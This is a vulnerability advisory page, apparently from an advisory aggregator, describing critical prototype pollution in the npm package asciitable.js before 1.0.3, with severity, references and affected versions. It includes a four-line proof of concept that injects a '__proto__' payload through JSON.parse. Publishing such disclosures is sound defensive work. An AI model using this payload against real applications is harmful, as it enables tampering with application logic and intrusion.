Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVweGotbWh3ai14NWd2
Prototype Pollution in asciitable.js
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
Permalink: https://github.com/advisories/GHSA-5pxj-mhwj-x5gvJSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVweGotbWh3ai14NWd2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 3 years ago
Updated: 12 months ago
CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-5pxj-mhwj-x5gv, CVE-2020-7771
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-7771
- https://github.com/victornpb/asciitable.js/pull/1
- https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799
- https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab
- https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
Blast Radius: 10.2
Affected Packages
npm:asciitable.js
Dependent packages: 12Dependent repositories: 11
Downloads: 123 last month
Affected Version Ranges: < 1.0.3
Fixed in: 1.0.3
All affected versions: 1.0.0, 1.0.1, 1.0.2
All unaffected versions: 1.0.3, 2.0.0, 2.0.1